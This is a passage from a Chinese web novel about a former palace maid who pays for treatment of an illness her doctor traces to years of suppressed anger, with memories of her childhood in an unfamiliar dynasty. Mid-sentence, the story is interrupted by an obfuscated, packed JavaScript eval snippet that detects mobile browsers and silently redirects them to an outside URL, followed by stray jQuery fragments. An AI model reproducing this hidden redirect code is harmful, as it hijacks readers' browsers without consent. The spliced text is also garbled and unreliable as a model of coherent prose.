与到了年纪即可被放出宫的宫女不同,太监没有这种机会。
他们出宫的可能性极其渺茫,大太监还可能得到贵人青眼被赐旨出宫荣养,小太监们只能等到干不动了,或是获罪被贬出宫,在宫外落得一个流离失所自生自灭的下场。
太监无法成家,自然也没有后人供养,所以他们在宫中都卯足了劲地往上爬,大肆搜刮钱财,只为了有朝一日出宫时日子能过得好一点儿。
因此,皇宫里最不缺的,就是兑金打银的生意。
没办法,一贯钱等于一千文,一千文就是一千个铜板,谁也不可能天天带着一堆铜板在人前晃荡,给别人听响儿。
遭人眼红,是不测之祸的前兆。
黄迎春从来不肯犯这种忌讳。
每逢发了俸禄,她都精打细算,先留下一部分日常花费;再在身上放一笔钱,用来应付可能出现的各种意外支出;其余的,通通都换成金银,装进一只小小的荷包里,再把荷包塞在胸口,贴着胸怀日日夜夜地放着。
这些体己,在她出宫的这几天,都陆陆续续被她拿到钱庄兑成了铜板和钱票,大概有一百贯之数。多出的那些个铜板,黄迎春吃了碗羊肉面就花完了,便没有放在心上。
买山花了三十贯,交契税、立女户、牙行的中介费、宋大的辛苦费、住宿吃饭看杂耍买点心……这些零零总总加起来又花去了大概十贯钱。
唯一让黄迎春感到欣慰的是,价值二十贯的柏木棺材退货退款了。
石碑虽然刻了字寄放在凶肆待发货,但石头本身不值钱,买一块虽然也要一贯多,加上给工匠的工钱,拢共要花两贯,但比起掌柜的愿意给她一起退货退款的寿衣、明器、纸钱等物,更是不值得一提的小事。因此,虽然心痛自己花了两贯钱买了块没用的石碑,但黄迎春心中还是对凶肆的掌柜的和李三充满了感激,没法发出什么怨言。
毕竟,现在心里流的泪,都是自己当初脑子里进的水啊!沦落到现在这个下场,完全是自个儿自作自受!
黄迎春分出二十贯,又把剩下的三十八贯钱妥善地放入怀中藏好,然后卷起包袱兴冲冲地回到杏林医馆。
晚上的住处都还没寻到,但这一点儿也不耽误黄迎春现在的好心情。
太好了!我有钱看病了!我能继续活着了!
一事不烦二主,黄迎春找到昨日给她看诊的那位大夫,把二十贯钱如数交到他面前:“大夫,依您看,我这病该怎么治?”
大夫摸着山羊胡,只说了这么一句话:“百病生于气。”
黄迎春不理解:“可是,我是一个不生气的人啊。”
她在皇宫里既无关系又无门路,又没有阿谀奉承的本事,从来都是老老实实做事,低低调调做人。莫说争吵打架,连与人红脸的次数都超不过一只手。如今她能平平安安出宫,靠的就是多年来表里如一的好脾性。
大夫不赞同,他说:“是人就有生气。你不生气,说明你一直压着不让自己生气,这股气被你淤压在心底,激发不出来就会变成病。更何况你日久天长地压着自己不让自己生气,又没有什么发泄的渠道,相当于只进不出,日子久了,身体自然就坐下病来。”
大夫的话仿佛一把利刃劈在黄迎春的脑海里,她顿时明白大夫与昨天单刀直入的行径大不相同的原因。她的病,不在于身,而在于心。如果不打心底里改变,就算身体上的病痛治好了,也是活不快活的。治标不治本,总有一日那些不适会卷土重来。
忍字心头一把刀啊。
她忍的,何止在皇宫中的十五年。
这一世,她带着上辈子的记忆出生。虽然安朝是她闻所未闻的朝代,但这个世界有许多东西和现代是相似甚至相同的。别的不说,只看菜园里种的蔬菜。黄迎春还记得,她刚学会走路那年,她娘把她带到地里一起去摘菜,顺带教她说话。
“迎春,看,告诉娘,这是什么?”
“茄……茄子!”
“叽里咕噜说什么呢?这是落苏!落——苏——”
现代的茄子,在娘亲的嘴里,却成了落苏。
惊讶和害怕席卷了黄迎春的心,她生怕自己被当成妖怪抓起来,于是之后无论娘怎么问,怎么让她开口说话,她都不敢再辨认任何一种东西。
“这孩子,怎么这么面呢,就跟据嘴葫芦一样,怎么也不肯多说几句,真是愁人!”
娘亲没愁多久,因为很快她就怀上了第二胎,家里的长辈说小孩子的眼睛干净,娘亲就天天问她肚子里的孩子是男是女。
黄迎春怎么可能知道?
可她知道母亲的想法,所以每回她都说是弟弟。
十月怀胎一朝分娩,她的二妹呱呱落地。
娘亲仿佛把她没生出儿子的事情怪罪到自己的头上,不肯分给她多少好脸色。
二妹牙牙学语时,娘亲又怀孕了。
这回,是弟弟。
人家都说看重老大心疼老小,老二成天受夹心气。
这个惯例在她家却失了灵。
娘亲对弟弟极好,对能说会道的二妹也不错,整个家里唯一一个不得父母看重和疼爱的人只有黄迎春。
这一点,在父母生下更多的弟弟妹妹之后也没有改变。
于是,本就在陌生朝代担惊受怕的黄迎春愈发寡言少语,天天只知道干活吃饭,再偷偷攒点钱财。
结果,好不容易熟悉了乡村的生活,融入安朝成为一个普通的乡下姑娘,她又进了宫。
辛辛苦苦十二年,一朝回到解放前。
黄迎春又开始忍,忍得比从前还要辛苦。
过去酿成的因,全都造就了今日的苦果。
黄迎春低头苦笑:“您说的我明白,可是我能怎么办啊?那不是……实在没法子么。”
大夫指向黄迎春拿出的二十贯钱,问她:“现在也没法子吗?”
两张叠在一起的钱票映入眼帘,黄迎春怔住。
现在……
现在,她可以一口气拿出二十贯给自己治病救命。
她的怀里还揣着寻常农家集齐一家人之力操劳半辈子都未必都攒到的钱数。
她在这个世界上已经活了二十七年,没有一个人发现她身上的秘密。
她已经离了家、出了宫、立了女户,现在,再也没有需要她忍耐的人和事了。
黄迎春眉间愁绪尽消,笑脸盈盈:“您说的是。”
病能否治疗成功,最要紧的是钱足够支撑走完全部疗程,最关键的是病人完全配合。见黄迎春如此配合,大夫喜笑颜开,也不再浪费时间,很快就理出一整套治疗流程,不限于吃药,还包括针灸、艾灸、药浴、药膳、养气功夫等,日日都得来医馆花上大半天的时间,一日都断不得,起码要来一个月。
新年已过,冰雪初融,转眼就是春耕时节,农家已经渐渐开始忙碌起来,住在城里的坊郭户,也开始争相脱下厚重的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771638|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冬装,往更远的地方去寻找生计。这个时候,时间就是金钱。大夫生怕黄迎春心急,对这么长的治疗时间有顾虑,细细地给她解释:“你这些毛病都是日积月累添出来的,没有立竿见影的灵丹妙药,需得花了水磨功夫,慢慢地治。”
田里没地,手里没活的黄迎春很好说话:“您说怎么治,我就怎么治,您放心,我听您的。
黄迎春目前唯一的顾虑只有一件事——她今晚住哪?
她没有顾虑太久,大夫拿出针灸的工具,正准备给她施针,见黄迎春心绪起伏不定,沉声道:“闭眼,静心。”
一根长长的银针扎进她的脑袋,黄迎春顿时什么心思都没有了,浑身上下只剩下紧张。
针灸的时间很长,但见效极快。结束后,黄迎春晃晃脑袋,觉得自己的头都变得不怎么疼了,身体也不再疲惫懒怠,腿脚似乎都更有力气了。
好厉害啊!
这就是传说中的高手在民间吗?
和杏林医馆里的大夫们比起来,医药局里的医师简直就是尸位素餐之辈。
黄迎春敬佩地向大夫致谢,见天色已晚,她又急忙背起包袱,准备赶紧出门去寻摸一家物美价廉的客栈。
没想到,却被大夫留住。
“吃了再走。”
医馆有厨房,但是是熬药用的,进出往来的都是一些药童和跟在大夫身边学习的医徒。医馆里的大夫、学徒和药童们想吃饭,都得自己花钱去外面买。但是,看病就诊不比其他事,遇上黄迎春这种要针灸的,哪怕时间再长,中途也不能停下来,所以,医馆的吃食就被“外卖服务”外包了。
来送夕食的是一个性格爽利的妇女,人人都喊她石娘子。
大夫从石娘子带来的一个餐盒里取出一盅当归生姜羊肉萝卜汤。
羊肉的香气在空气中若隐若现,一打开,香气更是浓郁。几点枸杞子混着生姜当归漂浮在散着油花的热汤上,萝卜的块头切得极大,但是已经被炖透了,看着就清甜可口。
难以想象,在落着冬雪的寒冷傍晚,吃上一盅当归生姜羊肉萝卜汤,会是多么舒服的一件事!
虽然这盅汤完美唤出了黄迎春肚里的馋虫,但她还是摆摆手推却了。
羊肉价贵,她得省着点花。
“你气血不足,羊肉汤既能暖身养胃,还能发汗解表,祛除你体内的寒湿,益处多多,快吃吧。”
石娘子一边手脚麻利地把餐盒里面装的饭菜拿出来,一边说:“娘子别担心,这是药膳,既是吃饭也是吃药,一举两得的事。”
药膳?黄迎春记起大夫说的治疗方案里的确包括这一项,当即不客气地揽着包袱坐下来,开吃!
好香啊!
好饿啊!
好鲜啊!
好好吃啊!
“啊……好烫!”黄迎春放下汤勺,嘴里不停呼气,又拿起手不停地扇风,然后继续埋头苦吃。结果她一块羊肉还没彻底吃完,就见石娘子刚拿起空餐盒出门,没过多久就又拿着装得满满的餐盒回来了。
黄迎春好奇地问:“石娘子住得很近吗?”
“我就住在拐角的慈善堂,走个二三十步就到了。”
“慈善堂?”
旁边有个药童插了一嘴:“那是衙门建的专门收养弃婴和流浪儿的去处。”
羊肉汤还没吃完,屋檐外的天色已经彻底暗淡,即将在大街上流浪的超大龄儿童黄迎春,忽然计上心来。